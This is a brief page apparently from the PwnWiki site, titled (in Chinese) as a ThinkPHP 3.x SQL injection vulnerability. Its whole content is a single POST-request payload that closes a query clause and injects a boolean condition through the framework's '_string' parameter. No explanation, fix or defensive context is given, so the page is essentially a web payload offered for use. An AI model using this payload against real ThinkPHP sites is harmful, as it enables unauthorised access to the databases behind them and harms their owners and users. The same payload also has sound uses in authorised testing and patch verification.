ThinkPHP3.x SQL注入漏洞

From PwnWiki

Payload

post request: 

_string=Id%3d1) and 1=1 -- -a
Retrieved from "https://pwnwiki.com/index.php?title=ThinkPHP3.x_SQL注入漏洞&oldid=5579"